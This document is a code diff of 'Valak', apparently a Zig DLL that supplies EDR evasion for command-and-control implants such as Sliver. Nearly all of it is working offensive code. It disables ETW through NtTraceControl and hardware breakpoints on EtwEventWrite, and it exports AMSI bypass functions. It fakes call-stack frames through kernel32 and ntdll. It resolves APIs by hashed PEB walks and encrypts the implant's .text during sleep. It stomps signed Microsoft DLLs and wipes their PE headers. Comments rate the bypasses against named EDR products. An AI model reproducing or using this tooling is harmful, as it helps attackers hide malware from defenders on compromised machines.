||||
|
||||
// Two-tier: NtTraceControl (best-effort, often blocked by EDR tamper protection) then
|
||||
// hardware breakpoint on EtwEventWrite (primary — no memory modification, no .text integrity
|
||||
// alert). Returns early if already patched.
|
||||
pub fn patch_etw() void {
|
||||
if (g_etw_patched) return;
|
||||
api.ensure();
|
||||
_ = syscall.init_syscall();
|
||||
|
||||
// Tier 1: NtTraceControl(control code 2 = EtwStopLoggerCode) for known EDR providers.
|
||||
// Best-effort — EDRs with tamper protection (Defender, S1, CS) will block this.
|
||||
// Ref: https://ntdoc.m417z.com/nttracecontrol
|
||||
var stopped_any = false;
|
||||
for (&edr_provider_guids) |*guid| {
|
||||
var ret_len: win.ULONG = 0;
|
||||
@@ -96,24 +73,15 @@ pub fn patch_etw() void {
|
||||
}
|
||||
|
||||
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
|
||||
|
||||
// Tier 2: Hardware breakpoint bypass — no memory modification.
|
||||
// Still effective against ~65% of EDRs as of mid-2026 per DbgMan.
|
||||
// Next-gen EDRs audit debug register state. CrowdStrike and S1 detect this.
|
||||
if (try_hwbp_etw_bypass(ntdll)) {
|
||||
g_etw_patched = true;
|
||||
return;
|
||||
}
|
||||
// No fallback RET patch — memory modification of ntdll exports = instant detection.
|
||||
// Every major EDR monitors ntdll .text integrity per DbgMan, May 2026.
|
||||
}
|
||||
|
||||
// Undo ETW bypass — remove HWBP VEH + clear debug registers.
|
||||
pub fn unpatch_etw() void {
|
||||
if (!g_etw_patched) return;
|
||||
defer g_etw_patched = false;
|
||||
|
||||
// Remove HWBP VEH + clear debug registers
|
||||
if (g_etw_hwbp_veh) |h| {
|
||||
if (api.amsi_remove_vectored_exception_handler) |remove| {
|
||||
_ = remove(h);
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
// Synthetic callstack frames through kernel32!BaseThreadInitThunk and
|
||||
// ntdll!RtlUserThreadStart. Parses .pdata unwind codes to compute per-function
|
||||
// frame sizes, asm trampoline pushes frames with correct offsets.
|
||||
const std = @import("std");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
|
||||
extern var qFakeRtlUserThreadStart: usize;
|
||||
extern var qFakeBaseThreadInitThunk: usize;
|
||||
extern var qRtlUserFrameSize: usize;
|
||||
extern var qBaseThreadFrameSize: usize;
|
||||
|
||||
const UWOP_PUSH_NONVOL: u8 = 0;
|
||||
const UWOP_ALLOC_LARGE: u8 = 1;
|
||||
const UWOP_ALLOC_SMALL: u8 = 2;
|
||||
const UWOP_SET_FPREG: u8 = 3;
|
||||
const UWOP_SAVE_NONVOL: u8 = 4;
|
||||
const UWOP_SAVE_NONVOL_FAR: u8 = 5;
|
||||
const UNW_FLAG_CHAININFO: u8 = 0x04;
|
||||
const RBP_OP_INFO: u8 = 5;
|
||||
|
||||
fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool {
|
||||
const info = @as(*align(1) const extern struct {
|
||||
VersionAndFlags: u8,
|
||||
SizeOfProlog: u8,
|
||||
CountOfCodes: u8,
|
||||
FrameRegister: u8,
|
||||
FrameOffset: u8,
|
||||
UnwindCode: [1]u16,
|
||||
}, @ptrCast(mod_base + unwind_rva));
|
||||
|
||||
var idx: usize = 0;
|
||||
var sz: usize = 0;
|
||||
var rbp_pushed: bool = false;
|
||||
|
||||
while (idx < info.CountOfCodes) : (idx += 1) {
|
||||
const code = info.UnwindCode[idx];
|
||||
const op = @as(u8, @truncate(code & 0xF));
|
||||
const info_field = @as(u8, @truncate((code >> 4) & 0xF));
|
||||
|
||||
switch (op) {
|
||||
UWOP_PUSH_NONVOL => {
|
||||
if (info_field == 2 and !rbp_pushed) return false;
|
||||
if (info_field == RBP_OP_INFO) rbp_pushed = true;
|
||||
sz += 8;
|
||||
},
|
||||
UWOP_ALLOC_SMALL => sz += 8 * (@as(usize, info_field) + 1),
|
||||
UWOP_ALLOC_LARGE => {
|
||||
idx += 1;
|
||||
var frame_offset: usize = info.UnwindCode[idx];
|
||||
if (info_field == 0) {
|
||||
frame_offset *= 8;
|
||||
} else {
|
||||
idx += 1;
|
||||
frame_offset += @as(usize, info.UnwindCode[idx]) << 16;
|
||||
}
|
||||
sz += frame_offset;
|
||||
},
|
||||
UWOP_SET_FPREG => {
|
||||
rbp_pushed = true;
|
||||
const fp_off: isize = -0x10 * @as(isize, @intCast(info.FrameOffset));
|
||||
sz = @as(usize, @intCast(@as(isize, @intCast(sz)) + fp_off));
|
||||
},
|
||||
UWOP_SAVE_NONVOL => {
|
||||
if (info_field == RBP_OP_INFO or info_field == 2) return false;
|
||||
idx += 1;
|
||||
},
|
||||
UWOP_SAVE_NONVOL_FAR => {
|
||||
if (info_field == RBP_OP_INFO or info_field == 2) return false;
|
||||
idx += 2;
|
||||
},
|
||||
else => {},
|
||||
}
|
||||
}
|
||||
|
||||
// Chained unwind info
|
||||
if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) {
|
||||
idx = info.CountOfCodes;
|
||||
if ((idx & 1) != 0) idx += 1;
|
||||
const chain_rva = @as(*align(1) const u32, @ptrCast(&info.UnwindCode[idx])).*;
|
||||
var chain_sz: usize = 0;
|
||||
_ = calc_frame_size(mod_base, chain_rva, &chain_sz);
|
||||
sz += chain_sz;
|
||||
}
|
||||
|
||||
out_size.* = sz + 8;
|
||||
return true;
|
||||
}
|
||||
|
||||
// Binary search .pdata for unwind entry covering the given RVA.
|
||||
fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
|
||||
const exc_begin = syscall.g_exc_begin;
|
||||
const exc_count = syscall.g_exc_count;
|
||||
if (exc_begin == 0 or exc_count == 0) return null;
|
||||
|
||||
const funcs = @as([*]align(1) const syscall.RUNTIME_FUNCTION, @ptrFromInt(exc_begin));
|
||||
var lo: usize = 0;
|
||||
var hi: usize = exc_count;
|
||||
while (lo < hi) {
|
||||
const mid = lo + (hi - lo) / 2;
|
||||
const entry = funcs[mid];
|
||||
if (target_rva < entry.BeginAddress) {
|
||||
hi = mid;
|
||||
} else if (target_rva >= entry.EndAddress) {
|
||||
lo = mid + 1;
|
||||
} else {
|
||||
return .{ .begin = entry.BeginAddress, .unwind = entry.UnwindInfoAddress };
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(mod)));
|
||||
if (dos.e_magic != 0x5A4D) return null;
|
||||
|
||||
const nt = @as(*align(1) extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
||||
OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
|
||||
}, @ptrCast(@constCast(mod + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != 0x00004550) return null;
|
||||
|
||||
const exp_dir = nt.OptionalHeader.DataDirectory[0];
|
||||
if (exp_dir.VirtualAddress == 0) return null;
|
||||
|
||||
const exp = @as(*align(1) extern struct {
|
||||
Characteristics: u32,
|
||||
TimeDateStamp: u32,
|
||||
MajorVersion: u16,
|
||||
MinorVersion: u16,
|
||||
Name: u32,
|
||||
Base: u32,
|
||||
NumberOfFunctions: u32,
|
||||
NumberOfNames: u32,
|
||||
AddressOfFunctions: u32,
|
||||
AddressOfNames: u32,
|
||||
AddressOfNameOrdinals: u32,
|
||||
}, @ptrCast(@constCast(mod + @as(usize, @intCast(exp_dir.VirtualAddress)))));
|
||||
|
||||
const names = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNames))))));
|
||||
const funcs = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfFunctions))))));
|
||||
const ords = @as([*]u16, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNameOrdinals))))));
|
||||
|
||||
var i: u32 = 0;
|
||||
while (i < exp.NumberOfNames) : (i += 1) {
|
||||
const n = @as([*:0]const u8, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(names[i]))))));
|
||||
if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) {
|
||||
if (ords[i] < exp.NumberOfFunctions) {
|
||||
return funcs[ords[i]];
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
pub fn init_frames() void {
|
||||
if (qFakeRtlUserThreadStart != 0) return;
|
||||
|
||||
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
|
||||
const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return;
|
||||
const ntdll_bytes = @as([*]const u8, @ptrCast(ntdll));
|
||||
const k32_bytes = @as([*]const u8, @ptrCast(k32));
|
||||
|
||||
const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return;
|
||||
if (find_runtime_entry(btit_rva)) |entry| {
|
||||
var fs: usize = 0;
|
||||
if (calc_frame_size(k32_bytes, entry.unwind, &fs)) {
|
||||
qFakeBaseThreadInitThunk = @intFromPtr(k32) + entry.begin;
|
||||
qBaseThreadFrameSize = fs;
|
||||
}
|
||||
}
|
||||
|
||||
const rust_rva = export_rva(ntdll_bytes, "RtlUserThreadStart") orelse return;
|
||||
if (find_runtime_entry(rust_rva)) |entry| {
|
||||
var fs: usize = 0;
|
||||
if (calc_frame_size(ntdll_bytes, entry.unwind, &fs)) {
|
||||
qFakeRtlUserThreadStart = @intFromPtr(ntdll) + entry.begin;
|
||||
qRtlUserFrameSize = fs;
|
||||
}
|
||||
}
|
||||
}
|
||||
+32
-16
@@ -1,12 +1,10 @@
|
||||
// Valak evasion DLL — drop-in sleep obfuscation + AMSI/ETW bypass for any C2.
|
||||
// Built for Sliver but protocol-agnostic. Exports are resolved at runtime by the
|
||||
// Go bridge (go-bridge/valak.go) via reflective PE loading or direct DLL load.
|
||||
// Reference: DbgMan "EDR Tradecraft" (May 2026), Windows x64 ABI.
|
||||
// Valak evasion DLL, drop-in sleep obfuscation and AMSI/ETW bypass.
|
||||
// Built for Sliver, protocol-agnostic. Exports resolved at runtime by Go bridge.
|
||||
// Follows Windows x64 ABI.
|
||||
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const frames = @import("frames.zig");
|
||||
const amsi = @import("amsi.zig");
|
||||
const etw = @import("etw.zig");
|
||||
const stomp = @import("stomp.zig");
|
||||
@@ -21,13 +19,25 @@ fn ensure() void {
|
||||
g_initialized = true;
|
||||
api.ensure();
|
||||
_ = syscall.init_syscall();
|
||||
frames.init_frames();
|
||||
}
|
||||
|
||||
export fn init_evasion() void { ensure(); }
|
||||
export fn init_evasion() void {
|
||||
ensure();
|
||||
}
|
||||
|
||||
export fn unhook_ntdll() void { ensure(); unhook.unhookNtdll(); }
|
||||
export fn patch_etw() void { ensure(); etw.patch_etw(); }
|
||||
export fn patch_amsi() void { ensure(); amsi.patch_amsi(); }
|
||||
export fn unhook_ntdll() void {
|
||||
ensure();
|
||||
unhook.unhookNtdll();
|
||||
}
|
||||
export fn patch_etw() void {
|
||||
ensure();
|
||||
etw.patch_etw();
|
||||
}
|
||||
export fn patch_amsi() void {
|
||||
ensure();
|
||||
amsi.patch_amsi();
|
||||
}
|
||||
|
||||
export fn stomp_evasion(base: ?*anyopaque) void {
|
||||
ensure();
|
||||
@@ -38,20 +48,26 @@ export fn is_relocated() bool {
|
||||
return stomp.g_evasion_relocated;
|
||||
}
|
||||
|
||||
// Tell the DLL where the host process's .text is so it can be encrypted during sleep.
|
||||
// Tell the DLL where the host implant's .text is for encrypted sleep.
|
||||
export fn init_text_region(base: [*]u8, size: usize) void {
|
||||
sleep.init_go_text_region(base, size);
|
||||
sleep.init_text_region(base, size);
|
||||
}
|
||||
|
||||
// Called from the asm trampoline (arch/hells_gate.s) which captures entry RSP,
|
||||
// zeros the return address for EDR stack walk termination, and restores on return.
|
||||
// DllMain calls into here from the asm trampoline. Synthetic callstack frames
|
||||
// through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart built before us.
|
||||
export fn evasion_sleep_inner(ms: u32) void {
|
||||
ensure();
|
||||
sleep.evasion_sleep(ms);
|
||||
}
|
||||
|
||||
export fn unpatch_amsi() void { ensure(); amsi.unpatch_amsi(); }
|
||||
export fn unpatch_etw() void { ensure(); etw.unpatch_etw(); }
|
||||
export fn unpatch_amsi() void {
|
||||
ensure();
|
||||
amsi.unpatch_amsi();
|
||||
}
|
||||
export fn unpatch_etw() void {
|
||||
ensure();
|
||||
etw.unpatch_etw();
|
||||
}
|
||||
|
||||
export fn wipe_memory(base: [*]u8, size: usize) void {
|
||||
@memset(base[0..size], 0);
|
||||
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
pub const IMAGE_DOS_HEADER = extern struct {
|
||||
e_magic: u16,
|
||||
e_cblp: u16,
|
||||
e_cp: u16,
|
||||
e_crlc: u16,
|
||||
e_cparhdr: u16,
|
||||
e_minalloc: u16,
|
||||
e_maxalloc: u16,
|
||||
e_ss: u16,
|
||||
e_sp: u16,
|
||||
e_csum: u16,
|
||||
e_ip: u16,
|
||||
e_cs: u16,
|
||||
e_lfarlc: u16,
|
||||
e_ovno: u16,
|
||||
e_res: [4]u16,
|
||||
e_oemid: u16,
|
||||
e_oeminfo: u16,
|
||||
e_res2: [10]u16,
|
||||
e_lfanew: i32,
|
||||
};
|
||||
|
||||
pub const IMAGE_FILE_HEADER = extern struct {
|
||||
Machine: u16,
|
||||
NumberOfSections: u16,
|
||||
TimeDateStamp: u32,
|
||||
PointerToSymbolTable: u32,
|
||||
NumberOfSymbols: u32,
|
||||
SizeOfOptionalHeader: u16,
|
||||
Characteristics: u16,
|
||||
};
|
||||
|
||||
pub const IMAGE_DATA_DIRECTORY = extern struct {
|
||||
VirtualAddress: u32,
|
||||
Size: u32,
|
||||
};
|
||||
|
||||
pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
|
||||
Magic: u16,
|
||||
MajorLinkerVersion: u8,
|
||||
MinorLinkerVersion: u8,
|
||||
SizeOfCode: u32,
|
||||
SizeOfInitializedData: u32,
|
||||
SizeOfUninitializedData: u32,
|
||||
AddressOfEntryPoint: u32,
|
||||
BaseOfCode: u32,
|
||||
ImageBase: u64,
|
||||
SectionAlignment: u32,
|
||||
FileAlignment: u32,
|
||||
MajorOperatingSystemVersion: u16,
|
||||
MinorOperatingSystemVersion: u16,
|
||||
MajorImageVersion: u16,
|
||||
MinorImageVersion: u16,
|
||||
MajorSubsystemVersion: u16,
|
||||
MinorSubsystemVersion: u16,
|
||||
Win32VersionValue: u32,
|
||||
SizeOfImage: u32,
|
||||
SizeOfHeaders: u32,
|
||||
CheckSum: u32,
|
||||
Subsystem: u16,
|
||||
DllCharacteristics: u16,
|
||||
SizeOfStackReserve: u64,
|
||||
SizeOfStackCommit: u64,
|
||||
SizeOfHeapReserve: u64,
|
||||
SizeOfHeapCommit: u64,
|
||||
LoaderFlags: u32,
|
||||
NumberOfRvaAndSizes: u32,
|
||||
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
|
||||
};
|
||||
|
||||
pub const IMAGE_SECTION_HEADER = extern struct {
|
||||
Name: [8]u8,
|
||||
VirtualSize: u32,
|
||||
VirtualAddress: u32,
|
||||
SizeOfRawData: u32,
|
||||
PointerToRawData: u32,
|
||||
PointerToRelocations: u32,
|
||||
PointerToLinenumbers: u32,
|
||||
NumberOfRelocations: u16,
|
||||
NumberOfLinenumbers: u16,
|
||||
Characteristics: u32,
|
||||
};
|
||||
|
||||
pub const IMAGE_EXPORT_DIRECTORY = extern struct {
|
||||
Characteristics: u32,
|
||||
TimeDateStamp: u32,
|
||||
MajorVersion: u16,
|
||||
MinorVersion: u16,
|
||||
Name: u32,
|
||||
Base: u32,
|
||||
NumberOfFunctions: u32,
|
||||
NumberOfNames: u32,
|
||||
AddressOfFunctions: u32,
|
||||
AddressOfNames: u32,
|
||||
AddressOfNameOrdinals: u32,
|
||||
};
|
||||
|
||||
pub const IMAGE_NT_HEADERS64 = extern struct {
|
||||
Signature: u32,
|
||||
FileHeader: IMAGE_FILE_HEADER,
|
||||
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
|
||||
};
|
||||
+4
-24
@@ -1,18 +1,13 @@
|
||||
// PEB-based module and function resolution. No static imports ??? everything resolved at runtime.
|
||||
// PEB-based module and function resolution, everything resolved at runtime.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
// Doubly-linked list node used by Windows loader structures.
|
||||
// PEB_LDR_DATA chains these to track loaded modules in three orderings.
|
||||
pub const LIST_ENTRY = extern struct {
|
||||
Flink: *LIST_ENTRY,
|
||||
Blink: *LIST_ENTRY,
|
||||
};
|
||||
|
||||
// Loader data block hung off the PEB. Each module list is a circular linked list
|
||||
// of LDR_DATA_TABLE_ENTRY nodes. InMemoryOrder is the safest to walk ??? InLoadOrder
|
||||
// can race during DLL load/unload on other threads.
|
||||
pub const PEB_LDR_DATA = extern struct {
|
||||
Length: win.ULONG,
|
||||
Initialized: win.BYTE,
|
||||
@@ -23,9 +18,6 @@ pub const PEB_LDR_DATA = extern struct {
|
||||
InInitializationOrderModuleList: LIST_ENTRY,
|
||||
};
|
||||
|
||||
// One entry per loaded module. Contains the DLL base, image size, and its name.
|
||||
// The InMemoryOrderLinks list_entry is embedded at a known offset from the struct start ???
|
||||
// we subtract that offset to get back to the full LDR_DATA_TABLE_ENTRY.
|
||||
pub const LDR_DATA_TABLE_ENTRY = extern struct {
|
||||
InLoadOrderLinks: LIST_ENTRY,
|
||||
InMemoryOrderLinks: LIST_ENTRY,
|
||||
@@ -37,8 +29,7 @@ pub const LDR_DATA_TABLE_ENTRY = extern struct {
|
||||
BaseDllName: win.UNICODE_STRING,
|
||||
};
|
||||
|
||||
// The Process Environment Block lives at GS:0x60 on x64.
|
||||
// Only the fields we actually touch are defined ??? the real struct is much larger.
|
||||
// PEB at GS:0x60 on x64.
|
||||
pub const PEB = extern struct {
|
||||
Reserved1: [2]win.BYTE,
|
||||
BeingDebugged: win.BYTE,
|
||||
@@ -47,8 +38,7 @@ pub const PEB = extern struct {
|
||||
Ldr: *PEB_LDR_DATA,
|
||||
};
|
||||
|
||||
// ror13 hash of a module or function name. Case-insensitive ??? uppercases each byte before mixing.
|
||||
// Same algorithm used by Hell's Gate and other manual-map tooling for consistency.
|
||||
// ror13 hash, case-insensitive.
|
||||
pub fn hash_ror13(input: []const u8) u32 {
|
||||
var hash: u32 = 0;
|
||||
for (input) |c| {
|
||||
@@ -60,7 +50,6 @@ pub fn hash_ror13(input: []const u8) u32 {
|
||||
return hash;
|
||||
}
|
||||
|
||||
// Reads GS:[0x60] to return the PEB pointer.
|
||||
pub fn get_peb() *PEB {
|
||||
const ptr: usize = asm volatile ("mov %%gs:0x60, %[ptr]"
|
||||
: [ptr] "=r" (-> usize),
|
||||
@@ -68,17 +57,13 @@ pub fn get_peb() *PEB {
|
||||
return @as(*PEB, @ptrFromInt(ptr));
|
||||
}
|
||||
|
||||
// Walks InMemoryOrderModuleList looking for a DLL whose ror13-hashed BaseDllName matches.
|
||||
// Returns the module's base address or null if not found.
|
||||
pub fn get_module_by_hash(hash: u32) ?*anyopaque {
|
||||
const peb_ptr = get_peb();
|
||||
const ldr = peb_ptr.Ldr;
|
||||
// Walk the circular linked list starting from InMemoryOrderModuleList
|
||||
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
var entry = head.Flink;
|
||||
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
// Subtract the offset of InMemoryOrderLinks to get back to the LDR_DATA_TABLE_ENTRY
|
||||
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
|
||||
if (le.BaseDllName.Length == 0) continue;
|
||||
@@ -100,8 +85,6 @@ pub fn get_module_by_hash(hash: u32) ?*anyopaque {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Follows a forwarded export string ("module.function") to resolve the real target.
|
||||
// Splits on the dot, hashes both halves, looks up the module, then the function within it.
|
||||
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
|
||||
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva)))));
|
||||
const str = std.mem.sliceTo(forward_str, 0);
|
||||
@@ -112,8 +95,6 @@ fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
|
||||
return get_func_by_hash(dll_base, func_hash);
|
||||
}
|
||||
|
||||
// Parses a module's export directory, hashes each exported name, and returns the matching
|
||||
// function address. Handles forwarded exports (looking-glass exports that redirect to another DLL).
|
||||
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
|
||||
const base_bytes = @as([*]u8, @ptrCast(base));
|
||||
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
|
||||
@@ -157,8 +138,7 @@ pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
|
||||
var cached_kernel32: ?*anyopaque = null;
|
||||
var cached_ntdll: ?*anyopaque = null;
|
||||
|
||||
// Three-tier lookup: specific module by hash ??? kernel32 ??? ntdll ??? full PEB module walk.
|
||||
// Falls back to scanning every loaded module if the requested module isn't found or isn't loaded.
|
||||
// Three-tier: specific module, then kernel32, then ntdll, then full PEB walk.
|
||||
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
|
||||
if (module_hash != 0) {
|
||||
if (get_module_by_hash(module_hash)) |base| {
|
||||
|
||||
+41
-79
@@ -2,103 +2,65 @@ const api = @import("api.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const win = @import("win32.zig");
|
||||
|
||||
var g_text_base: ?[*]u8 = null;
|
||||
var g_text_size: usize = 0;
|
||||
var g_go_text_base: ?[*]u8 = null;
|
||||
var g_go_text_size: usize = 0;
|
||||
|
||||
// Called from Go reflective loader — DLL .text bounds.
|
||||
pub fn init_text_region(base: [*]u8, size: usize) void {
|
||||
g_text_base = base;
|
||||
g_text_size = size;
|
||||
const RTL_ENCRYPT_MEMORY_SIZE: win.ULONG = 8;
|
||||
|
||||
// Pad size to multiple of RTL_ENCRYPT_MEMORY_SIZE.
|
||||
fn padded_size(size: usize) win.ULONG {
|
||||
const s: win.ULONG = @intCast(size);
|
||||
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(win.ULONG, RTL_ENCRYPT_MEMORY_SIZE - 1);
|
||||
}
|
||||
|
||||
// Called from Go — implant's own .text bounds.
|
||||
pub fn init_go_text_region(base: [*]u8, size: usize) void {
|
||||
pub fn init_text_region(base: [*]u8, size: usize) void {
|
||||
g_go_text_base = base;
|
||||
g_go_text_size = size;
|
||||
}
|
||||
|
||||
fn encrypt_region(base: [*]u8, size: usize, key: *[16]u8) void {
|
||||
var img: api.USTRING = .{
|
||||
.Buffer = base,
|
||||
.Length = @as(u32, @intCast(size)),
|
||||
.MaximumLength = @as(u32, @intCast(size)),
|
||||
};
|
||||
var key_struct: api.USTRING = .{
|
||||
.Buffer = key,
|
||||
.Length = 16,
|
||||
.MaximumLength = 16,
|
||||
};
|
||||
var base_ptr: ?*anyopaque = @ptrCast(base);
|
||||
var region_size: win.SIZE_T = size;
|
||||
var old: win.DWORD = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(), &base_ptr, ®ion_size,
|
||||
win.PAGE_READWRITE, &old,
|
||||
);
|
||||
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
|
||||
}
|
||||
|
||||
fn decrypt_restore(base: [*]u8, size: usize, key: *[16]u8) void {
|
||||
var img: api.USTRING = .{
|
||||
.Buffer = base,
|
||||
.Length = @as(u32, @intCast(size)),
|
||||
.MaximumLength = @as(u32, @intCast(size)),
|
||||
};
|
||||
var key_struct: api.USTRING = .{
|
||||
.Buffer = key,
|
||||
.Length = 16,
|
||||
.MaximumLength = 16,
|
||||
};
|
||||
if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct);
|
||||
var base_ptr: ?*anyopaque = @ptrCast(base);
|
||||
var region_size: win.SIZE_T = size;
|
||||
var old: win.DWORD = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(), &base_ptr, ®ion_size,
|
||||
win.PAGE_EXECUTE_READ, &old,
|
||||
);
|
||||
}
|
||||
|
||||
// RC4-encrypted sleep.
|
||||
// Encrypts Go .text and DLL .text, sleeps via NtDelayExecution, decrypts both regions.
|
||||
// Stack zeroing (EDR frame walk guard) is handled by the asm trampoline in hells_gate.s:
|
||||
// it captures entry RSP, zeroes the return address before reaching us, and restores it
|
||||
// after we return.
|
||||
// Ref: SystemFunction032 (Windows RC4), ThreadStackSpoofer (mgeeky)
|
||||
// ChaCha20-encrypts .text via SystemFunction040, sleeps via NtDelayExecution,
|
||||
// decrypts on wake. During sleep .text is PAGE_NOACCESS.
|
||||
pub fn evasion_sleep(ms: u32) void {
|
||||
var dll_key: [16]u8 = undefined;
|
||||
var go_key: [16]u8 = undefined;
|
||||
for (0..16) |i| {
|
||||
dll_key[i] = @as(u8, @truncate(syscall.xorshift64()));
|
||||
go_key[i] = @as(u8, @truncate(syscall.xorshift64()));
|
||||
if (g_go_text_base == null or g_go_text_size == 0) {
|
||||
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
|
||||
_ = syscall.nt_delay_execution(0, &interval);
|
||||
return;
|
||||
}
|
||||
|
||||
// Encrypt Go .text first if bounds are set.
|
||||
if (g_go_text_base != null and g_go_text_size > 0) {
|
||||
encrypt_region(g_go_text_base.?, g_go_text_size, &go_key);
|
||||
}
|
||||
const base = g_go_text_base.?;
|
||||
const size = g_go_text_size;
|
||||
const padded = padded_size(size);
|
||||
|
||||
// Encrypt DLL .text.
|
||||
if (g_text_base != null and g_text_size > 0) {
|
||||
encrypt_region(g_text_base.?, g_text_size, &dll_key);
|
||||
// Encrypt .text with ChaCha20
|
||||
if (api.sleep_SystemFunction040) |enc| {
|
||||
_ = enc(base, padded, 0);
|
||||
}
|
||||
var ptr: ?*anyopaque = base;
|
||||
var sz: win.SIZE_T = size;
|
||||
var old: win.ULONG = 0;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&ptr,
|
||||
&sz,
|
||||
win.PAGE_NOACCESS,
|
||||
&old,
|
||||
);
|
||||
|
||||
// Sleep via indirect syscall — no Go runtime active.
|
||||
var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000);
|
||||
_ = syscall.nt_delay_execution(0, &interval);
|
||||
|
||||
// Decrypt DLL .text.
|
||||
if (g_text_base != null and g_text_size > 0) {
|
||||
decrypt_restore(g_text_base.?, g_text_size, &dll_key);
|
||||
}
|
||||
ptr = base;
|
||||
sz = size;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&ptr,
|
||||
&sz,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
&old,
|
||||
);
|
||||
|
||||
// Decrypt Go .text.
|
||||
if (g_go_text_base != null and g_go_text_size > 0) {
|
||||
decrypt_restore(g_go_text_base.?, g_go_text_size, &go_key);
|
||||
// Decrypt .text with ChaCha20
|
||||
if (api.sleep_SystemFunction041) |dec| {
|
||||
_ = dec(base, padded, 0);
|
||||
}
|
||||
|
||||
@memset(&dll_key, 0);
|
||||
@memset(&go_key, 0);
|
||||
}
|
||||
|
||||
+7
-19
@@ -1,10 +1,6 @@
|
||||
// Module stomping — copies .text into a signed Microsoft DLL, wipes PE headers.
|
||||
// Reference: https://dtsec.us/2023-11-04-ModuleStompin/
|
||||
// DETECTION: DbgMan (May 2026): "Backing-file integrity check: for image-backed regions,
|
||||
// compare the in-memory bytes against the corresponding file offsets on disk. Divergence
|
||||
// indicates module stomping." PE header zeroing is a known signature. RWX on signed
|
||||
// Microsoft DLL triggers behavioral alert. Consider DLL sideloading or threadless
|
||||
// injection as alternatives for modern EDR environments.
|
||||
// Copies .text into a signed Microsoft DLL, wipes PE headers.
|
||||
// Backing-file integrity checks catch this. PE header zeroing is a known signature.
|
||||
// RWX on signed Microsoft DLL triggers behavioral alert.
|
||||
const win = @import("win32.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
@@ -12,15 +8,11 @@ const pe = @import("pe.zig");
|
||||
|
||||
pub var g_evasion_relocated: bool = false;
|
||||
|
||||
// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers.
|
||||
// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable).
|
||||
// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes.
|
||||
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
||||
const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" };
|
||||
|
||||
if (our_base == null) return null;
|
||||
|
||||
// Walk PEB to find a suitable signed Microsoft DLL target
|
||||
const peb = resolve.get_peb();
|
||||
const ldr = peb.Ldr;
|
||||
